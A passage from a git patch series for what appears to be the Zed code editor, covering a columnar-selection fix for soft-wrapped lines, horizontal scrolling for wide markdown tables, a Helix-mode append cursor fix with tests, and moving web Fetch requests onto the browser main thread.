+                mode: ColumnarMode::FromMouse,
+            },
+            window,
+            cx,
+        );
+        editor.select(
+            SelectPhase::Update {
+                position: DisplayPoint::new(second_line_row, 1),
+                goal_column: 1,
+                scroll_delta: gpui::Point::default(),
+            },
+            window,
+            cx,
+        );
+    });
+
+    cx.assert_editor_state(indoc! {"
+        «1ˇ». Very long line to show how a wrapped line would look
+        «2ˇ». Very long line to show how a wrapped line would look
+    "});
+
+    cx.update_editor(|editor, window, cx| {
+        let second_line_row = soft_wrap_second_line_row(editor, cx);
+        editor.select(
+            SelectPhase::BeginColumnar {
+                position: DisplayPoint::new(DisplayRow(0), 0),
+                goal_column: 0,
+                reset: true,
+                mode: ColumnarMode::FromMouse,
+            },
+            window,
+            cx,
+        );
+        editor.select(
+            SelectPhase::Update {
+                position: DisplayPoint::new(second_line_row, 0),
+                goal_column: 0,
+                scroll_delta: gpui::Point::default(),
+            },
+            window,
+            cx,
+        );
+    });
+
+    cx.assert_editor_state(indoc! {"
+        ˇ1. Very long line to show how a wrapped line would look
+        ˇ2. Very long line to show how a wrapped line would look
+    "});
+}
+
 #[gpui::test]
 async fn test_toggle_markdown_block_quote(cx: &mut TestAppContext) {
     init_test(cx, |_| {});
diff --git a/crates/editor/src/selection.rs b/crates/editor/src/selection.rs
index 3f9b177326beff..c8b56d1682526c 100644
--- a/crates/editor/src/selection.rs
+++ b/crates/editor/src/selection.rs
@@ -1809,6 +1809,7 @@ impl Editor {
         let end_x = tail_x.max(head_x);
         let reversed = head_x < tail_x;
 
+        let mut last_buffer_row = None;
         let selection_ranges = (start_row.0..=end_row.0)
             .map(DisplayRow)
             .filter_map(|row| {
@@ -1816,6 +1817,12 @@ impl Editor {
                     return None;
                 }
 
+                let buffer_row = row.as_display_point().to_point(display_map).row;
+                if last_buffer_row == Some(buffer_row) {
+                    return None;
+                }
+                last_buffer_row = Some(buffer_row);
+
                 let layout = display_map.layout_row(row, &text_layout_details);
                 if matches!(columnar_state, ColumnarSelectionState::FromSelection { .. })
                     && start_x > layout.width

From fee527c70fe3a701c28e4fb29b2acd61fcd1e23f Mon Sep 17 00:00:00 2001
From: JC Diamante <38757877+Zeraphim@users.noreply.github.com>
Date: Tue, 28 Jul 2026 20:54:23 +0800
Subject: [PATCH 739/772] markdown: Add horizontal scroll for wide tables in
 hover popover (#61698)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Objective

- Fixes #61437 — Wide tables in doc comments get clipped instead of
being scrollable

## Solution

- Changed `.overflow_hidden()` to `.overflow_x_scroll()` on the table
rendering div in `crates/markdown/src/markdown.rs`
- When `table_columns_min_size` is true (as in the hover popover style),
grid columns use min-content sizing. Wide column content exceeds the
table width, and `.overflow_hidden()` clips it. `.overflow_x_scroll()`
makes the overflow scrollable.
- This same pattern is already used for code blocks in the same file
(line 2367).

## Testing

- Change is a single property affecting element rendering/layout
- Visual verification needed: hover a doc comment with a wide markdown
table, verify horizontal scrollbar appears and content is accessible
- Existing markdown tests should pass unchanged

## Recording


https://github.com/user-attachments/assets/d07aa6eb-ac9d-453f-9e51-453a33302cbd

---

Release Notes:

- Fixed wide tables in documentation hover popovers being clipped
instead of horizontally scrollable
---
 crates/markdown/src/markdown.rs | 158 +++++++++++++++++++++++++-------
 1 file changed, 127 insertions(+), 31 deletions(-)

diff --git a/crates/markdown/src/markdown.rs b/crates/markdown/src/markdown.rs
index 578b8d32784fae..98443eba690482 100644
--- a/crates/markdown/src/markdown.rs
+++ b/crates/markdown/src/markdown.rs
@@ -2534,7 +2534,7 @@ impl Element for MarkdownElement {
                                     .border(px(1.5))
                                     .border_color(cx.theme().colors().border)
                                     .rounded_sm()
-                                    .overflow_hidden(),
+                                    .overflow_x_scroll(),
                                 range,
                                 markdown_end,
                             );
@@ -4176,6 +4176,106 @@ mod tests {
         }
     }
 
+    struct MarkdownTestView {
+        markdown: Entity<Markdown>,
+        style: MarkdownStyle,
+        code_span_link: Option<CodeSpanLinkCallback>,
+        rendered_text: Rc<RefCell<Option<RenderedText>>>,
+    }
+
+    impl Render for MarkdownTestView {
+        fn render(&mut self, _: &mut Window, _: &mut Context<Self>) -> impl IntoElement {
+            let mut markdown_element =
+                MarkdownElement::new(self.markdown.clone(), self.style.clone());
+            if let Some(code_span_link) = self.code_span_link.clone() {
+                markdown_element =
+                    markdown_element.on_code_span_link(move |text, cx| code_span_link(text, cx));
+            }
+            CapturingMarkdownElement {
+                markdown_element: markdown_element.code_block_renderer(
+                    CodeBlockRenderer::Default {
+                        copy_button_visibility: CopyButtonVisibility::Hidden,
+                        wrap_button_visibility: WrapButtonVisibility::Hidden,
+                        border: false,
+                    },
+                ),
+                rendered_text: self.rendered_text.clone(),
+            }
+        }
+    }
+
+    struct CapturingMarkdownElement {
+        markdown_element: MarkdownElement,
+        rendered_text: Rc<RefCell<Option<RenderedText>>>,
+    }
+
+    impl IntoElement for CapturingMarkdownElement {
+        type Element = Self;
+
+        fn into_element(self) -> Self::Element {
+            self
+        }
+    }
+
+    impl Element for CapturingMarkdownElement {
+        type RequestLayoutState = RenderedMarkdown;
+        type PrepaintState = Hitbox;
+
+        fn id(&self) -> Option<ElementId> {
+            self.markdown_element.id()
+        }
+
+        fn source_location(&self) -> Option<&'static core::panic::Location<'static>> {
+            self.markdown_element.source_location()
+        }
+
+        fn request_layout(
+            &mut self,
+            id: Option<&GlobalElementId>,
+            inspector_id: Option<&gpui::InspectorElementId>,
+            window: &mut Window,
+            cx: &mut App,
+        ) -> (gpui::LayoutId, Self::RequestLayoutState) {
+            self.markdown_element
+                .request_layout(id, inspector_id, window, cx)
+        }
+
+        fn prepaint(
+            &mut self,
+            id: Option<&GlobalElementId>,
+            inspector_id: Option<&gpui::InspectorElementId>,
+            bounds: Bounds<Pixels>,
+            rendered_markdown: &mut Self::RequestLayoutState,
+            window: &mut Window,
+            cx: &mut App,
+        ) -> Self::PrepaintState {
+            self.markdown_element
+                .prepaint(id, inspector_id, bounds, rendered_markdown, window, cx)
+        }
+
+        fn paint(
+            &mut self,
+            id: Option<&GlobalElementId>,
+            inspector_id: Option<&gpui::InspectorElementId>,
+            bounds: Bounds<Pixels>,
+            rendered_markdown: &mut Self::RequestLayoutState,
+            hitbox: &mut Self::PrepaintState,
+            window: &mut Window,
+            cx: &mut App,
+        ) {
+            self.markdown_element.paint(
+                id,
+                inspector_id,
+                bounds,
+                rendered_markdown,
+                hitbox,
+                window,
+                cx,
+            );
+            *self.rendered_text.borrow_mut() = Some(rendered_markdown.text.clone());
+        }
+    }
+
     fn ensure_theme_initialized(cx: &mut TestAppContext) {
         cx.update(|cx| {
             if !cx.has_global::<settings::SettingsStore>() {
@@ -4187,6 +4287,30 @@ mod tests {
         });
     }
 
+    fn render_markdown_entity_in_view(
+        markdown: Entity<Markdown>,
+        style: MarkdownStyle,
+        code_span_link: Option<CodeSpanLinkCallback>,
+        cx: &mut TestAppContext,
+    ) -> RenderedText {
+        let rendered_text = Rc::new(RefCell::new(None));
+        let (_, cx) = cx.add_window_view({
+            let rendered_text = rendered_text.clone();
+            move |_, _| MarkdownTestView {
+                markdown,
+                style,
+                code_span_link,
+                rendered_text,
+            }
+        });
+        cx.run_until_parked();
+
+        rendered_text
+            .borrow()
+            .clone()
+            .expect("markdown should be rendered in the test view")
+    }
+
     #[gpui::test]
     fn test_code_block_controls_are_unique_across_markdown_entities(cx: &mut TestAppContext) {
         struct TestWindow;
@@ -4368,23 +4492,9 @@ mod tests {
     ) -> RenderedText {
         ensure_theme_initialized(cx);
 
-        let (_, cx) = cx.add_window_view(|_, _| TestWindow);
         let markdown = cx.new(|cx| Markdown::new(markdown.to_string().into(), None, None, cx));
         cx.run_until_parked();
-        let (rendered, _) = cx.draw(
-            Default::default(),
-            size(px(600.0), px(600.0)),
-            |_window, _cx| {
-                MarkdownElement::new(markdown, style)
-                    .on_code_span_link(callback)
-                    .code_block_renderer(CodeBlockRenderer::Default {
-                        copy_button_visibility: CopyButtonVisibility::Hidden,
-                        wrap_button_visibility: WrapButtonVisibility::Hidden,
-                        border: false,
-                    })
-            },
-        );
-        rendered.text
+        render_markdown_entity_in_view(markdown, style, Some(Arc::new(callback)), cx)
     }
 
     fn render_markdown_with_language_registry(
@@ -4403,7 +4513,6 @@ mod tests {
     ) -> RenderedText {
         ensure_theme_initialized(cx);
 
-        let (_, cx) = cx.add_window_view(|_, _| TestWindow);
         let markdown = cx.new(|cx| {
             Markdown::new_with_options(
                 markdown.to_string().into(),
@@ -4414,20 +4523,7 @@ mod tests {
             )
         });
         cx.run_until_parked();
-        let (rendered, _) = cx.draw(
-            Default::default(),
-            size(px(600.0), px(600.0)),
-            |_window, _cx| {
-                MarkdownElement::new(markdown, MarkdownStyle::default()).code_block_renderer(
-                    CodeBlockRenderer::Default {
-                        copy_button_visibility: CopyButtonVisibility::Hidden,
-                        wrap_button_visibility: WrapButtonVisibility::Hidden,
-                        border: false,
-                    },
-                )
-            },
-        );
-        rendered.text
+        render_markdown_entity_in_view(markdown, MarkdownStyle::default(), None, cx)
     }
 
     fn render_markdown_with_image_resolver(

From 945764f95355a4635e2d0327881ac4586799adc6 Mon Sep 17 00:00:00 2001
From: Jamil Ur Rehman Ahmadzai <jamilurrehman722@gmail.com>
Date: Tue, 28 Jul 2026 15:31:57 +0200
Subject: [PATCH 740/772] Fix Helix append escape cursor restore (#57736)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #54231

Related to the Opire Helix keymap bounty on #4642.
/claim #4642
Opire payout: @jamilahmadzai

Release Notes:

- Fixed Helix mode append so pressing Escape without inserting text
restores the original cursor or selection instead of leaving it one
character ahead.

---------

Co-authored-by: Tom Houlé <tom@tomhoule.com>
---
 crates/vim/src/helix.rs  | 82 +++++++++++++++++++++++++++++++++++++++-
 crates/vim/src/insert.rs | 24 ++++++++++++
 crates/vim/src/vim.rs    | 12 ++++++
 3 files changed, 116 insertions(+), 2 deletions(-)

diff --git a/crates/vim/src/helix.rs b/crates/vim/src/helix.rs
index e2857ce30e4819..a0b9bf6f3ccae8 100644
--- a/crates/vim/src/helix.rs
+++ b/crates/vim/src/helix.rs
@@ -24,7 +24,7 @@ use workspace::searchable::{self, Direction, FilteredSearchRange};
 use crate::motion::{self, MotionKind};
 use crate::state::{HelixJumpBehaviour, HelixJumpLabel, Mode, Operator, SearchState};
 use crate::{
-    PushHelixSurroundAdd, PushHelixSurroundDelete, PushHelixSurroundReplace, Vim,
+    HelixAppendState, PushHelixSurroundAdd, PushHelixSurroundDelete, PushHelixSurroundReplace, Vim,
     motion::{Motion, right},
 };
 use std::ops::Range;
@@ -718,7 +718,15 @@ impl Vim {
     fn helix_append(&mut self, _: &HelixAppend, window: &mut Window, cx: &mut Context<Self>) {
         self.start_recording(cx);
         self.switch_mode(Mode::Insert, false, window, cx);
-        self.update_editor(cx, |_, editor, cx| {
+        self.update_editor(cx, |vim, editor, cx| {
+            let snapshot = editor.display_snapshot(cx);
+            let selections_before_append = editor
+                .selections
+                .all_anchors(&snapshot)
+                .iter()
+                .map(|selection| selection.tail()..selection.head())
+                .collect();
+
             editor.change_selections(Default::default(), window, cx, |s| {
                 s.move_with(&mut |map, selection| {
                     let point = if selection.is_empty() {
@@ -729,6 +737,18 @@ impl Vim {
                     selection.collapse_to(point, SelectionGoal::None);
                 });
             });
+
+            let snapshot = editor.display_snapshot(cx);
+            let cursors_after_append = editor
+                .selections
+                .all_anchors(&snapshot)
+                .iter()
+                .map(|selection| selection.range())
+                .collect();
+            vim.helix_append_state = Some(HelixAppendState {
+                selections_before_append,
+                cursors_after_append,
+            });
         });
     }
 
@@ -2479,6 +2499,23 @@ mod test {
     async fn test_append(cx: &mut gpui::TestAppContext) {
         let mut cx = VimTestContext::new(cx, true).await;
         cx.enable_helix();
+
+        cx.set_state("Thˇe quick brown", Mode::HelixNormal);
+
+        cx.simulate_keystrokes("a");
+
+        cx.assert_state("Theˇ quick brown", Mode::Insert);
+
+        cx.simulate_keystrokes("escape");
+
+        cx.assert_state("Thˇe quick brown", Mode::HelixNormal);
+
+        cx.set_state("The quick brownˇ", Mode::HelixNormal);
+
+        cx.simulate_keystrokes("a escape");
+
+        cx.assert_state("The quick brownˇ", Mode::HelixNormal);
+
         // test from the end of the selection
         cx.set_state(
             indoc! {"
@@ -2498,6 +2535,16 @@ mod test {
             Mode::Insert,
         );
 
+        cx.simulate_keystrokes("escape");
+
+        cx.assert_state(
+            indoc! {"
+            «Theˇ» quick brown
+            fox jumps over
+            the lazy dog."},
+            Mode::HelixNormal,
+        );
+
         // test from the beginning of the selection
         cx.set_state(
             indoc! {"
@@ -2516,6 +2563,37 @@ mod test {
             the lazy dog."},
             Mode::Insert,
         );
+
+        cx.simulate_keystrokes("escape");
+
+        cx.assert_state(
+            indoc! {"
+            «ˇThe» quick brown
+            fox jumps over
+            the lazy dog."},
+            Mode::HelixNormal,
+        );
+
+        // escape must not restore the selection once text was inserted
+        cx.set_state("Thˇe quick brown", Mode::HelixNormal);
+
+        cx.simulate_keystrokes("a x escape");
+
+        cx.assert_state("Thexˇ quick brown", Mode::HelixNormal);
+
+        // or when the cursor moved during insert mode
+        cx.set_state("Thˇe quick brown", Mode::HelixNormal);
+
+        cx.simulate_keystrokes("a left left escape");
+
+        cx.assert_state("Tˇhe quick brown", Mode::HelixNormal);
+
+        // all selections restore with multiple cursors
+        cx.set_state("ˇaaa bbb\nˇccc ddd", Mode::HelixNormal);
+
+        cx.simulate_keystrokes("a escape");
+
+        cx.assert_state("ˇaaa bbb\nˇccc ddd", Mode::HelixNormal);
     }
 
     #[gpui::test]
diff --git a/crates/vim/src/insert.rs b/crates/vim/src/insert.rs
index 75fc456cc18cbe..063c442c141d1f 100644
--- a/crates/vim/src/insert.rs
+++ b/crates/vim/src/insert.rs
@@ -51,8 +51,32 @@ impl Vim {
             self.create_mark("^".into(), window, cx);
 
             if HelixModeSetting::get_global(cx).0 {
+                // Restore the pre-append selections only if nothing happened in
+                // insert mode: no edits (tracked by current_tx/current_anchor)
+                // and the cursors are still where the append left them.
+                let no_insert_transaction =
+                    self.current_tx.is_none() && self.current_anchor.is_none();
+                let restore_append_selection = self
+                    .helix_append_state
+                    .take()
+                    .filter(|_| no_insert_transaction);
                 self.update_editor(cx, |_, editor, cx| {
                     editor.dismiss_menus_and_popups(false, window, cx);
+                    if let Some(append_state) = restore_append_selection {
+                        let snapshot = editor.display_snapshot(cx);
+                        let current = editor
+                            .selections
+                            .all_anchors(&snapshot)
+                            .iter()
+                            .map(|selection| selection.range())
+                            .collect::<Vec<_>>();
+
+                        if current == append_state.cursors_after_append {
+                            editor.change_selections(Default::default(), window, cx, |s| {
+                                s.select_anchor_ranges(append_state.selections_before_append);
+                            });
+                        }
+                    }
                 });
                 self.switch_mode(Mode::HelixNormal, false, window, cx);
                 return;
diff --git a/crates/vim/src/vim.rs b/crates/vim/src/vim.rs
index d58ad3a2c651b3..05badab50c96d4 100644
--- a/crates/vim/src/vim.rs
+++ b/crates/vim/src/vim.rs
@@ -527,6 +527,7 @@ pub(crate) struct Vim {
 
     pub(crate) current_tx: Option<TransactionId>,
     pub(crate) current_anchor: Option<Selection<Anchor>>,
+    pub(crate) helix_append_state: Option<HelixAppendState>,
     pub(crate) undo_modes: HashMap<TransactionId, Mode>,
     pub(crate) undo_last_line_tx: Option<TransactionId>,
     extended_pending_selection_id: Option<usize>,
@@ -541,6 +542,13 @@ pub(crate) struct Vim {
     _subscriptions: Vec<Subscription>,
 }
 
+/// Captured by `helix_append` so that escape can restore the pre-append
+/// selections when nothing was inserted, matching Helix.
+pub(crate) struct HelixAppendState {
+    pub(crate) selections_before_append: Vec<Range<Anchor>>,
+    pub(crate) cursors_after_append: Vec<Range<Anchor>>,
+}
+
 // Hack: Vim intercepts events dispatched to a window and updates the view in response.
 // This means it needs a VisualContext. The easiest way to satisfy that constraint is
 // to make Vim a "View" that is just never actually rendered.
@@ -588,6 +596,7 @@ impl Vim {
             current_tx: None,
             undo_last_line_tx: None,
             current_anchor: None,
+            helix_append_state: None,
             extended_pending_selection_id: None,
             undo_modes: HashMap::default(),
 
@@ -1210,6 +1219,9 @@ impl Vim {
         if mode == Mode::Normal || mode != last_mode {
             self.current_tx.take();
             self.current_anchor.take();
+            if mode != Mode::Insert {
+                self.helix_append_state.take();
+            }
             self.update_editor(cx, |_, editor, _| {
                 editor.clear_selection_drag_state();
             });

From b2131e9df8aa16d7d287f0b098df3088310d00d6 Mon Sep 17 00:00:00 2001
From: Gaauwe Rombouts <mail@grombouts.nl>
Date: Tue, 28 Jul 2026 15:32:52 +0200
Subject: [PATCH 741/772] gpui_web: Support Fetch requests from background
 workers (#61782)

Browser Fetch APIs must run on the main thread, while GPUI image loading
can invoke its HTTP client from background WASM workers. This routes
`FetchHttpClient` requests through the web dispatcher's main-thread
mailbox, installs the client by default for web applications, and
removes thread-affine browser state from the safely movable dispatcher.

Release Notes:
- N/A
---
 crates/gpui/examples/image/image.rs       |  10 -
 crates/gpui/examples/image_gallery.rs     |  10 -
 crates/gpui_platform/src/gpui_platform.rs |  12 +-
 crates/gpui_web/src/dispatcher.rs         |  54 +++--
 crates/gpui_web/src/http_client.rs        | 275 ++++++++++------------
 crates/gpui_web/src/platform.rs           |  18 +-
 6 files changed, 191 insertions(+), 188 deletions(-)

diff --git a/crates/gpui/examples/image/image.rs b/crates/gpui/examples/image/image.rs
index 688f881bc6df94..2a885714c8d885 100644
--- a/crates/gpui/examples/image/image.rs
+++ b/crates/gpui/examples/image/image.rs
@@ -164,16 +164,6 @@ fn run_example() {
             let http_client = ReqwestClient::user_agent("gpui example").unwrap();
             cx.set_http_client(Arc::new(http_client));
         }
-        #[cfg(target_family = "wasm")]
-        {
-            // Safety: the web examples run single-threaded; the client is
-            // created and used exclusively on the main thread.
-            let http_client = unsafe {
-                gpui_web::FetchHttpClient::with_user_agent("gpui example")
-                    .expect("failed to create FetchHttpClient")
-            };
-            cx.set_http_client(Arc::new(http_client));
-        }
 
         cx.activate(true);
         cx.on_action(|_: &Quit, cx| cx.quit());
diff --git a/crates/gpui/examples/image_gallery.rs b/crates/gpui/examples/image_gallery.rs
index bc5cda396c3c37..b4c288775501a5 100644
--- a/crates/gpui/examples/image_gallery.rs
+++ b/crates/gpui/examples/image_gallery.rs
@@ -259,16 +259,6 @@ fn run_example() {
             let http_client = ReqwestClient::user_agent("gpui example").unwrap();
             cx.set_http_client(Arc::new(http_client));
         }
-        #[cfg(target_family = "wasm")]
-        {
-            // Safety: the web examples run single-threaded; the client is
-            // created and used exclusively on the main thread.
-            let http_client = unsafe {
-                gpui_web::FetchHttpClient::with_user_agent("gpui example")
-                    .expect("failed to create FetchHttpClient")
-            };
-            cx.set_http_client(Arc::new(http_client));
-        }
 
         cx.activate(true);
         cx.on_action(|_: &Quit, cx| cx.quit());
diff --git a/crates/gpui_platform/src/gpui_platform.rs b/crates/gpui_platform/src/gpui_platform.rs
index 1d2fea90b47754..09b66bb8fc5ce3 100644
--- a/crates/gpui_platform/src/gpui_platform.rs
+++ b/crates/gpui_platform/src/gpui_platform.rs
@@ -11,6 +11,14 @@ pub fn background_executor() -> gpui::BackgroundExecutor {
 }
 
 pub fn application() -> gpui::Application {
+    #[cfg(target_family = "wasm")]
+    {
+        let platform = Rc::new(gpui_web::WebPlatform::new(true));
+        let http_client = std::sync::Arc::new(platform.fetch_http_client());
+        gpui::Application::with_platform(platform).with_http_client(http_client)
+    }
+
+    #[cfg(not(target_family = "wasm"))]
     gpui::Application::with_platform(current_platform(false))
 }
 
@@ -21,7 +29,9 @@ pub fn headless() -> gpui::Application {
 /// Unlike `application`, this function returns a single-threaded web application.
 #[cfg(target_family = "wasm")]
 pub fn single_threaded_web() -> gpui::Application {
-    gpui::Application::with_platform(Rc::new(gpui_web::WebPlatform::new(false)))
+    let platform = Rc::new(gpui_web::WebPlatform::new(false));
+    let http_client = std::sync::Arc::new(platform.fetch_http_client());
+    gpui::Application::with_platform(platform).with_http_client(http_client)
 }
 
 /// Initializes panic hooks and logging for the web platform.
diff --git a/crates/gpui_web/src/dispatcher.rs b/crates/gpui_web/src/dispatcher.rs
index 58b921dfbcb95e..a00c81bf5fede6 100644
--- a/crates/gpui_web/src/dispatcher.rs
+++ b/crates/gpui_web/src/dispatcher.rs
@@ -21,12 +21,25 @@ fn shared_memory_supported() -> bool {
     has_shared_array_buffer && has_atomics && is_shared_buffer
 }
 
+fn wait_async_supported() -> bool {
+    let global = js_sys::global();
+    let Ok(atomics) = js_sys::Reflect::get(&global, &JsValue::from_str("Atomics")) else {
+        return false;
+    };
+    let Ok(wait_async) = js_sys::Reflect::get(&atomics, &JsValue::from_str("waitAsync")) else {
+        return false;
+    };
+
+    wait_async.is_function()
+}
+
 enum MainThreadItem {
     Runnable(RunnableVariant),
     Delayed {
         runnable: RunnableVariant,
         millis: i32,
     },
+    Function(Box<dyn FnOnce() + Send>),
     // TODO-Wasm: Shouldn't these run on their own dedicated thread?
     RealtimeFunction(Box<dyn FnOnce() + Send>),
 }
@@ -127,7 +140,6 @@ impl MainThreadMailbox {
 
 pub struct WebDispatcher {
     main_thread_id: std::thread::ThreadId,
-    browser_window: web_sys::Window,
     background_sender: PriorityQueueSender<RunnableVariant>,
     main_thread_mailbox: Arc<MainThreadMailbox>,
     supports_threads: bool,
@@ -135,11 +147,6 @@ pub struct WebDispatcher {
     _background_threads: Vec<wasm_thread::JoinHandle<()>>,
 }
 
-// Safety: `web_sys::Window` is only accessed from the main thread
-// All other fields are `Send + Sync` by construction.
-unsafe impl Send for WebDispatcher {}
-unsafe impl Sync for WebDispatcher {}
-
 impl WebDispatcher {
     pub fn new(browser_window: web_sys::Window, allow_threads: bool) -> Self {
         #[cfg(feature = "multithreaded")]
@@ -149,14 +156,16 @@ impl WebDispatcher {
 
         let main_thread_mailbox = Arc::new(MainThreadMailbox::new());
 
-        let supports_threads =
-            cfg!(feature = "multithreaded") && allow_threads && shared_memory_supported();
+        let supports_threads = cfg!(feature = "multithreaded")
+            && allow_threads
+            && shared_memory_supported()
+            && wait_async_supported();
 
         if supports_threads {
             main_thread_mailbox.run_waker_loop(browser_window.clone());
         } else if cfg!(feature = "multithreaded") && allow_threads {
             log::warn!(
-                "SharedArrayBuffer not available; falling back to single-threaded dispatcher"
+                "Required WebAssembly threading APIs are unavailable; falling back to single-threaded dispatcher"
             );
         }
 
@@ -197,7 +206,6 @@ impl WebDispatcher {
 
         Self {
             main_thread_id: std::thread::current().id(),
-            browser_window,
             background_sender,
             main_thread_mailbox,
             supports_threads,
@@ -209,6 +217,19 @@ impl WebDispatcher {
     fn on_main_thread(&self) -> bool {
         std::thread::current().id() == self.main_thread_id
     }
+
+    pub(crate) fn dispatch_function_on_main_thread(
+        &self,
+        function: impl FnOnce() + Send + 'static,
+    ) {
+        if self.on_main_thread() {
+            let callback = Closure::once_into_js(function);
+            browser_window().queue_microtask(callback.unchecked_ref());
+        } else {
+            self.main_thread_mailbox
+                .post(Priority::High, MainThreadItem::Function(Box::new(function)));
+        }
+    }
 }
 
 impl PlatformDispatcher for WebDispatcher {
@@ -235,7 +256,7 @@ impl PlatformDispatcher for WebDispatcher {
 
     fn dispatch_on_main_thread(&self, runnable: RunnableVariant, priority: Priority) {
         if self.on_main_thread() {
-            schedule_runnable(&self.browser_window, runnable, priority);
+            schedule_runnable(&browser_window(), runnable, priority);
         } else {
             self.main_thread_mailbox
                 .post(priority, MainThreadItem::Runnable(runnable));
@@ -248,7 +269,7 @@ impl PlatformDispatcher for WebDispatcher {
             let callback = Closure::once_into_js(move || {
                 runnable.run();
             });
-            self.browser_window
+            browser_window()
                 .set_timeout_with_callback_and_timeout_and_arguments_0(
                     callback.unchecked_ref(),
                     millis,
@@ -265,8 +286,7 @@ impl PlatformDispatcher for WebDispatcher {
             let callback = Closure::once_into_js(move || {
                 function();
             });
-            self.browser_window
-                .queue_microtask(callback.unchecked_ref());
+            browser_window().queue_microtask(callback.unchecked_ref());
         } else {
             self.main_thread_mailbox
                 .post(Priority::High, MainThreadItem::RealtimeFunction(function));
@@ -278,6 +298,10 @@ impl PlatformDispatcher for WebDispatcher {
     }
 }
 
+fn browser_window() -> web_sys::Window {
+    web_sys::window().expect("must be running in a browser window context")
+}
+
 fn execute_on_main_thread(window: &web_sys::Window, item: MainThreadItem) {
     match item {
         MainThreadItem::Runnable(runnable) => {
@@ -294,7 +318,7 @@ fn execute_on_main_thread(window: &web_sys::Window, item: MainThreadItem) {
                 )
                 .ok();
         }
-        MainThreadItem::RealtimeFunction(function) => {
+        MainThreadItem::Function(function) | MainThreadItem::RealtimeFunction(function) => {
             function();
         }
     }
diff --git a/crates/gpui_web/src/http_client.rs b/crates/gpui_web/src/http_client.rs
index f48746d088c062..6e585682a00d3d 100644
--- a/crates/gpui_web/src/http_client.rs
+++ b/crates/gpui_web/src/http_client.rs
@@ -1,9 +1,8 @@
-use anyhow::anyhow;
-use futures::AsyncReadExt as _;
+use crate::WebDispatcher;
+use anyhow::{Context as _, anyhow};
+use futures::{AsyncReadExt as _, channel::oneshot};
 use http_client::{AsyncBody, HttpClient, RedirectPolicy};
-use std::future::Future;
-use std::pin::Pin;
-use std::task::Poll;
+use std::sync::Arc;
 use wasm_bindgen::JsCast as _;
 use wasm_bindgen::prelude::*;
 
@@ -14,6 +13,7 @@ extern "C" {
 }
 
 pub struct FetchHttpClient {
+    dispatcher: Arc<WebDispatcher>,
     user_agent: Option<http_client::http::header::HeaderValue>,
     credentials: FetchCredentials,
 }
@@ -31,79 +31,33 @@ pub enum FetchCredentials {
 }
 
 impl FetchHttpClient {
-    // Kept private so that all construction goes through the constructors
-    // below, which are `unsafe` when background threads are enabled.
-    fn build(user_agent: Option<http_client::http::header::HeaderValue>) -> Self {
+    pub(crate) fn new(dispatcher: Arc<WebDispatcher>) -> Self {
         Self {
-            user_agent,
+            dispatcher,
+            user_agent: None,
             credentials: FetchCredentials::default(),
         }
     }
 
+    pub(crate) fn with_user_agent(
+        dispatcher: Arc<WebDispatcher>,
+        user_agent: &str,
+    ) -> anyhow::Result<Self> {
+        Ok(Self {
+            dispatcher,
+            user_agent: Some(http_client::http::header::HeaderValue::from_str(
+                user_agent,
+            )?),
+            credentials: FetchCredentials::default(),
+        })
+    }
+
     pub fn with_credentials(mut self, credentials: FetchCredentials) -> Self {
         self.credentials = credentials;
         self
     }
 }
 
-#[cfg(feature = "multithreaded")]
-impl FetchHttpClient {
-    /// # Safety
-    ///
-    /// The caller must ensure the client is only used from the main thread:
-    /// the futures returned by [`HttpClient::send`] call browser APIs that do
-    /// not exist on worker threads, so they must never be polled from a task
-    /// spawned on the background executor.
-    pub unsafe fn new() -> Self {
-        Self::build(None)
-    }
-
-    /// # Safety
-    ///
-    /// The caller must ensure the client is only used from the main thread:
-    /// the futures returned by [`HttpClient::send`] call browser APIs that do
-    /// not exist on worker threads, so they must never be polled from a task
-    /// spawned on the background executor.
-    pub unsafe fn with_user_agent(user_agent: &str) -> anyhow::Result<Self> {
-        Ok(Self::build(Some(
-            http_client::http::header::HeaderValue::from_str(user_agent)?,
-        )))
-    }
-}
-
-#[cfg(not(feature = "multithreaded"))]
-impl FetchHttpClient {
-    pub fn new() -> Self {
-        Self::build(None)
-    }
-
-    pub fn with_user_agent(user_agent: &str) -> anyhow::Result<Self> {
-        Ok(Self::build(Some(
-            http_client::http::header::HeaderValue::from_str(user_agent)?,
-        )))
-    }
-}
-
-/// Wraps a `!Send` future to satisfy the `Send` bound on `BoxFuture`.
-///
-/// Safety: only valid because the `FetchHttpClient` constructors confine the
-/// client to the main thread (via their `unsafe` contract when
-/// `multithreaded` is enabled, or by the absence of threads when it is not),
-/// so the wrapped future is never actually sent across threads.
-struct AssertSend<F>(F);
-
-unsafe impl<F> Send for AssertSend<F> {}
-
-impl<F: Future> Future for AssertSend<F> {
-    type Output = F::Output;
-
-    fn poll(self: Pin<&mut Self>, cx: &mut std::task::Context<'_>) -> Poll<Self::Output> {
-        // Safety: pin projection for a single-field newtype wrapper.
-        let inner = unsafe { self.map_unchecked_mut(|this| &mut this.0) };
-        inner.poll(cx)
-    }
-}
-
 impl HttpClient for FetchHttpClient {
     fn user_agent(&self) -> Option<&http_client::http::header::HeaderValue> {
         self.user_agent.as_ref()
@@ -120,103 +74,122 @@ impl HttpClient for FetchHttpClient {
     {
         let (parts, body) = req.into_parts();
         let credentials = self.credentials;
+        let dispatcher = self.dispatcher.clone();
 
-        Box::pin(AssertSend(async move {
+        Box::pin(async move {
             let body_bytes = read_body_to_bytes(body).await?;
+            let (sender, receiver) = oneshot::channel();
 
-            let init = web_sys::RequestInit::new();
-            init.set_method(parts.method.as_str());
-            init.set_credentials(match credentials {
-                FetchCredentials::Omit => web_sys::RequestCredentials::Omit,
-                FetchCredentials::SameOrigin => web_sys::RequestCredentials::SameOrigin,
-                FetchCredentials::Include => web_sys::RequestCredentials::Include,
+            dispatcher.dispatch_function_on_main_thread(move || {
+                wasm_bindgen_futures::spawn_local(async move {
+                    let result = fetch(parts, body_bytes, credentials).await;
+                    if sender.send(result).is_err() {
+                        log::debug!("fetch response receiver was dropped");
+                    }
+                });
             });
 
-            if let Some(redirect_policy) = parts.extensions.get::<RedirectPolicy>() {
-                match redirect_policy {
-                    RedirectPolicy::NoFollow => {
